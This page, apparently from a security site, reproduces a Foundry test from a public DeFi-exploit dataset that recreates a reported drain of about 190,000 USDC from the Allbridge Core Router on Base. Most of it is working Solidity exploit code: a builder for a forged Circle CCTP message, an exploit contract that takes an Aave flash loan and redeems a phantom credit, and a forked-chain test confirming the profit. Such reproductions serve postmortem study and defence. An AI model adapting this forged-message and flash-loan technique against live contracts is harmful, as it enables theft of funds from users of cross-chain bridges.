Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/AllbridgeCCTP_exp.sol

Public reproduction file for dataset entry AllbridgeCCTP.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/AllbridgeCCTP_exp.sol320 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.25;
3
4/// forge-config: default.evm_version = "cancun"
5
6import "forge-std/Test.sol";
7
8// Allbridge (Core / cross-chain Router + CCTP integration) — Base
9// ~190,156 USDC extracted from the Router in a single Base tx; attacker nets 189,751.554381 USDC
10// after the Aave V3 flash-loan premium.
11//
12// Exploit tx : 0x9f906fcd8fceaa6745e8d1c004861dcfa9b5e6a893fe1e8c5d0013a4e982e6a8 (Base block 50157345)
13// Forged msg tx: 0x2a88d79756b4547b33fea7b3c1420793680e2b8952bef4c65e99879e16b22140 (Polygon, ~24 days earlier)
14// Attacker EOA : 0x2419432344b0B892E592b2601B98eaE702Ba360e
15// Victim Router: 0xaA119F7442eCC28b9a8F236707ADA8362CFF24fF (Allbridge Core Router, CHAIN_ID 9)
16// Messenger : 0xf9b710e427bf4d93598e0f80a84de22c7ad9b577 (Allbridge CCTPTokenMessenger)
17// MsgTransmitter: 0x81D40F21F12A8F0E3252Bccb954D722d4c464B64 (Circle MessageTransmitterV2)
18// Aave V3 Pool : 0xA238Dd80C259a72e81d7e4664a9801593F98d1c5
19// USDC (Base) : 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913
20//
21// Root cause (permissionless code defect, re-verified this build against the verified source of
22// both contracts and against live forked state — NO key/signer/admin compromise, every call below
23// is reachable by any caller):
24//
25// Allbridge's CCTPTokenMessenger.receiveCctpMessage(message, attestation) relays an attested
26// Circle message through MessageTransmitterV2.receiveMessage and then credits
27// receivedMessages[messageHash] = amount - feeExecuted
28// reading `amount`, `feeExecuted`, `sourceSender` and `messageHash` DIRECTLY out of fixed byte
29// offsets in the message body. It never checks that the message caused a real USDC mint / any
30// balance change (confirmed in src: after the receiveMessage call it does only the subtraction
31// and the mapping write). Its two guards are both attacker-satisfiable from public state:
32// - destinationCaller (message[108:140]) must equal the messenger's own address — public.
33// - sourceSender (message[248:280]) must equal remoteTokenMessengers[sourceChainId], where
34// sourceChainId = domainToChainId[sourceDomain]. Both mappings are public getters, so the
35// attacker just reads remoteTokenMessengers[5] and copies it into the forged body.
36//
37// Circle's MessageTransmitterV2 is a GENERIC attestation primitive: sendMessage emits an
38// arbitrary caller-authored payload and Circle's off-chain attester signs THAT THE MESSAGE WAS
39// SUBMITTED, not that any value moved. So anyone can author a payload shaped like a CCTP deposit,
40// have it attested, and relay it here. (This off-chain attester is the one thing that cannot be
41// reproduced from a fork — see the note in the test where it is modeled.)
42//
43// The Allbridge Router.receiveToken(...) then treats receivedTokenAmount(messageHash) > 0 as its
44// ONLY solvency check (confirmed in src) and pays out amountAfterFee to the caller-chosen
45// recipient. The credited messageHash is the first word of the forged message's hookData, which
46// the attacker precomputes as Router._calculateMessageHash(nonce, recipient, token, amount,
47// sourceChain, CHAIN_ID) for a redeem of its own choosing.
48//
49// Economics reproduced here (all figures match the on-chain event):
50// - Router already holds 191,155.976393 USDC at block-1 (a legitimate ~191,112 USDC CCTP inflow
51// had minted into it ~6s earlier). This PoC does NOT deal() that in — it is real forked state.
52// - The forged message declares a 1,000,000 USDC deposit (amount 1e12 raw, normalizedAmount 1e15).
53// - Router pays out 999,000 USDC (1,000,000 - 0.1% feeBp) and retains exactly 1,000 USDC.
54// - The attacker flash-loans (1,000,000 - Router balance) = 808,844.023607 USDC from Aave V3 and
55// pushes it into the Router so the 999,000 transfer succeeds, then repays 809,248.445619 USDC
56// (404.422012 premium). Net kept: 189,751.554381 USDC.
57//
58// This is a from-scratch reconstruction: the forged CCTP v2 message is assembled from typed
59// Solidity values at the real field offsets, the message hash is recomputed with the Router's real
60// keccak(abi.encodePacked(...)) layout, and every messenger/router/Aave call is a real typed call.
61// No creation-bytecode blob, no raw-calldata replay.
62//
63// Run: forge test --contracts src/test/2026-08/AllbridgeCCTP_exp.sol -vvv
65interface IERC20 {
66 function balanceOf(
67 address
68 ) external view returns (uint256);
69 function transfer(address to, uint256 amount) external returns (bool);
70 function approve(address spender, uint256 amount) external returns (bool);
73interface IAaveV3Pool {
74 function flashLoanSimple(
75 address receiverAddress,
76 address asset,
77 uint256 amount,
78 bytes calldata params,
79 uint16 referralCode
80 ) external;
83interface ICCTPTokenMessenger {
84 function receiveCctpMessage(bytes calldata message, bytes calldata attestation) external;
85 function remoteTokenMessengers(
86 uint32 chainId
87 ) external view returns (bytes32);
88 function domainToChainId(
89 uint32 domain
90 ) external view returns (uint32);
93interface IMessageTransmitterV2 {
94 function receiveMessage(bytes calldata message, bytes calldata attestation) external returns (bool);
97interface IAllbridgeRouter {
98 function receiveToken(
99 uint256 normalizedAmount,
100 uint256 _nonce,
101 uint32 sourceChain,
102 bytes32 destinationToken,
103 bytes32 recipient,
104 address swapAddr,
105 address tokenMessengersAddr,
106 uint256 minSwapAmount
107 ) external;
108 function CHAIN_ID() external view returns (uint32);
111// Builds the forged Circle CCTP v2 message (header + BurnMessageV2 body + hookData) purely from
112// typed values, laying each field at the exact byte offset the Allbridge messenger reads. Mirrors
113// the layout documented in CCTPTokenMessenger.receiveCctpMessage.
114contract ForgedCctpMessageFactory {
115 // CCTP v2 message header is 148 bytes; BurnMessageV2 body starts at offset 148.
116 function buildMessage(
117 uint32 sourceDomain, // -> sourceChainId via domainToChainId, gates sourceSender
118 uint32 destinationDomain,
119 bytes32 destinationCaller, // must equal the messenger address (message[108:140])
120 bytes32 burnToken,
121 bytes32 mintRecipient,
122 uint256 amount, // message[216:248], read verbatim as the "deposit" size
123 bytes32 sourceSender, // message[248:280], must equal remoteTokenMessengers[sourceChainId]
124 uint256 feeExecuted, // message[312:344]
125 bytes32 messageHash // first word of hookData, message[376:408]
126 )
127 external
128 pure
129 returns (bytes memory message)
130 {
131 bytes memory header = abi.encodePacked(
132 uint32(1), // version
133 sourceDomain, // [4:8]
134 destinationDomain, // [8:12]
135 bytes32(uint256(0x12345)), // nonce (Circle message nonce; not read by the messenger)
136 sourceSender, // sender [44:76] (cosmetic; messenger reads body sourceSender)
137 mintRecipient, // recipient [76:108] (cosmetic at the transmitter layer)
138 destinationCaller, // [108:140]
139 uint32(1000), // minFinalityThreshold [140:144]
140 uint32(2000) // finalityThresholdExecuted [144:148]
141 );
143 bytes memory body = abi.encodePacked(
144 uint32(1), // body version body[0:4] -> [148:152]
145 burnToken, // burnToken body[4:36] -> [152:184]
146 mintRecipient, // mintRecipient body[36:68] -> [184:216]
147 amount, // amount body[68:100] -> [216:248]
148 sourceSender, // sourceSender body[100:132]-> [248:280]
149 uint256(0), // maxFee body[132:164]-> [280:312]
150 feeExecuted, // feeExecuted body[164:196]-> [312:344]
151 uint256(0), // expirationBlock body[196:228]-> [344:376]
152 messageHash // hookData[0:32] body[228:260]-> [376:408]
153 );
155 message = abi.encodePacked(header, body);
156 require(message.length == 408, "unexpected message length");
157 }
159 // Circle attestation is v/r/s signatures by the enabled attester set. Its bytes are irrelevant
160 // in this PoC because Circle's off-chain attester is modeled at the transmitter (see test);
161 // shaped as one 65-byte signature so the typed call is well-formed.
162 function buildAttestation() external pure returns (bytes memory) {
163 return abi.encodePacked(bytes32(0), bytes32(0), uint8(0));
164 }
167// Named exploit contract. Takes a real Aave V3 flash loan, relays the forged message through the
168// real messenger, and redeems the phantom credit through the real Router. Every external call is a
169// typed call built from Solidity values.
170contract AllbridgeCctpExploit {
171 IERC20 internal constant USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
172 IAaveV3Pool internal constant AAVE_POOL = IAaveV3Pool(0xA238Dd80C259a72e81d7e4664a9801593F98d1c5);
173 ICCTPTokenMessenger internal constant MESSENGER =
174 ICCTPTokenMessenger(0xf9B710E427bf4D93598E0F80A84de22C7Ad9B577);
175 IAllbridgeRouter internal constant ROUTER = IAllbridgeRouter(0xaA119F7442eCC28b9a8F236707ADA8362CFF24fF);
177 // Polygon's CCTP domain is 7; the messenger maps domain 7 -> Allbridge chainId 5. sourceSender
178 // must equal remoteTokenMessengers[5], read live below.
179 uint32 internal constant SRC_DOMAIN = 7;
180 uint32 internal constant SRC_CHAIN_ID = 5;
181 uint32 internal constant DST_DOMAIN = 6; // Base CCTP domain (transmitter layer)
183 // Router redeem parameters. Chosen freely by the attacker; only constraint is that the hookData
184 // hash matches Router._calculateMessageHash for exactly these values.
185 uint256 internal constant NONCE = 12345;
186 uint32 internal constant ROUTER_SRC_CHAIN = 12345;
187 uint256 internal constant NORMALIZED_AMOUNT = 1e15; // -> 1,000,000 USDC (SYSTEM_DECIMALS 9 -> 6)
188 uint256 internal constant GROSS_AMOUNT = 1_000_000e6; // declared deposit, raw USDC
190 ForgedCctpMessageFactory internal immutable factory;
192 constructor(
193 ForgedCctpMessageFactory _factory
194 ) {
195 factory = _factory;
196 }
198 // Same layout as Router._calculateMessageHash: keccak(abi.encodePacked(nonce, recipient,
199 // destinationToken, amount, sourceChain, destinationChain)).
200 function _messageHash() internal view returns (bytes32) {
201 return keccak256(
202 abi.encodePacked(
203 NONCE,
204 bytes32(uint256(uint160(address(this)))), // recipient = this contract
205 bytes32(uint256(uint160(address(USDC)))), // destinationToken = USDC
206 NORMALIZED_AMOUNT,
207 ROUTER_SRC_CHAIN,
208 ROUTER.CHAIN_ID()
209 )
210 );
211 }
213 function attack() external {
214 // Flash-loan exactly the shortfall between the declared deposit and the Router's real
215 // balance, so the Router ends holding precisely the 0.1% fee.
216 uint256 shortfall = GROSS_AMOUNT - USDC.balanceOf(address(ROUTER));
217 AAVE_POOL.flashLoanSimple(address(this), address(USDC), shortfall, "", 0);
218 }
220 function executeOperation(
221 address, /*asset*/
222 uint256 amount,
223 uint256 premium,
224 address, /*initiator*/
225 bytes calldata /*params*/
226 )
227 external
228 returns (bool)
229 {
230 // 1. Top the Router up to the declared 1,000,000 USDC so its later payout transfer succeeds.
231 USDC.transfer(address(ROUTER), amount);
233 // 2. Forge and relay the phantom deposit through the real messenger.
234 bytes32 sourceSender = MESSENGER.remoteTokenMessengers(SRC_CHAIN_ID);
235 bytes memory message = factory.buildMessage(
236 SRC_DOMAIN,
237 DST_DOMAIN,
238 bytes32(uint256(uint160(address(MESSENGER)))), // destinationCaller == messenger
239 bytes32(uint256(uint160(address(USDC)))), // burnToken
240 bytes32(uint256(uint160(address(this)))), // mintRecipient (cosmetic)
241 GROSS_AMOUNT, // amount credited verbatim
242 sourceSender,
243 0, // feeExecuted
244 _messageHash()
245 );
246 bytes memory attestation = factory.buildAttestation();
247 MESSENGER.receiveCctpMessage(message, attestation);
249 // 3. Redeem the phantom credit; Router pays amountAfterFee (999,000 USDC) to this contract.
250 ROUTER.receiveToken(
251 NORMALIZED_AMOUNT,
252 NONCE,
253 ROUTER_SRC_CHAIN,
254 bytes32(uint256(uint160(address(USDC)))), // destinationToken == intermediary (no swap)
255 bytes32(uint256(uint160(address(this)))), // recipient == this (also authorizes the call)
256 address(0), // swapAddr (unused, no swap)
257 address(MESSENGER),
258 0 // minSwapAmount
259 );
261 // 4. Repay the flash loan; the remainder is the net profit.
262 USDC.approve(address(AAVE_POOL), amount + premium);
263 return true;
264 }
267contract AllbridgeCCTP_exp is Test {
268 IERC20 internal constant USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
269 address internal constant ROUTER = 0xaA119F7442eCC28b9a8F236707ADA8362CFF24fF;
270 address internal constant MESSAGE_TRANSMITTER = 0x81D40F21F12A8F0E3252Bccb954D722d4c464B64;
272 uint256 internal constant EXPLOIT_BLOCK = 50157345;
274 ForgedCctpMessageFactory internal factory;
275 AllbridgeCctpExploit internal exploit;
277 function setUp() public {
278 vm.createSelectFork("base", EXPLOIT_BLOCK - 1);
279 factory = new ForgedCctpMessageFactory();
280 exploit = new AllbridgeCctpExploit(factory);
281 }
283 function testExploit() public {
284 // Precondition: the Router holds the ~191k victim balance; the attacker holds nothing.
285 uint256 routerBefore = USDC.balanceOf(ROUTER);
286 uint256 exploitBefore = USDC.balanceOf(address(exploit));
287 emit log_named_decimal_uint("Router USDC before (drainable)", routerBefore, 6);
288 assertEq(exploitBefore, 0, "attacker should start empty");
289 assertGt(routerBefore, 190_000e6, "Router should hold the ~191k victim balance at block-1");
291 // Model the ONE dependency a fork cannot reproduce: Circle's off-chain attester. Its
292 // MessageTransmitterV2.receiveMessage signs only that a message was submitted, so for any
293 // caller-authored payload it returns true. This is the exact primitive the attack abuses;
294 // no on-chain Allbridge state is shortcut — the messenger and Router still execute in full.
295 vm.mockCall(
296 MESSAGE_TRANSMITTER,
297 abi.encodeWithSelector(IMessageTransmitterV2.receiveMessage.selector),
298 abi.encode(true)
299 );
301 exploit.attack();
303 uint256 routerAfter = USDC.balanceOf(ROUTER);
304 uint256 exploitAfter = USDC.balanceOf(address(exploit));
306 uint256 profit = exploitAfter - exploitBefore;
307 uint256 drained = routerBefore - routerAfter;
308 emit log_named_decimal_uint("Router USDC after", routerAfter, 6);
309 emit log_named_decimal_uint("Router USDC drained", drained, 6);
310 emit log_named_decimal_uint("Attacker net USDC profit", profit, 6);
312 // Router keeps exactly the 1,000 USDC (0.1%) fee; the 999,000 payout was backed by no real
313 // deposit, so the ~190,156 USDC it lost was its own (the whole 191,156 minus the fee).
314 assertEq(routerAfter, 1_000e6, "Router should retain exactly the 1,000 USDC (0.1%) fee");
315 assertApproxEqAbs(drained, 190_155_976393, 1e6, "drained != the ~190,156 USDC extracted");
316 // Net after the 404.42 USDC Aave premium; on-chain figure was 189,751.554381 USDC.
317 assertApproxEqAbs(profit, 189_751_554381, 1e6, "net profit diverged from on-chain ~189,752 USDC");
318 assertGt(profit, 0, "no profit extracted");
319 }

Analysis

Dataset entry

Public Foundry test for “AllbridgeCCTP” (2026-08-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2419432344b0b892e592b2601b98eae702ba360e

  • Victim

    0xaa119f7442ecc28b9a8f236707ada8362cff24ff

File record

Name
AllbridgeCCTP
Path
src/test/2026-08/AllbridgeCCTP_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
62178cf2c6491598e69c739891bfad2a6ed913cd
Language
Solidity
Size
321 lines
Date
2026-08-19
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/AllbridgeCCTP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 62178cf2c6491598e69c739891bfad2a6ed913cd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.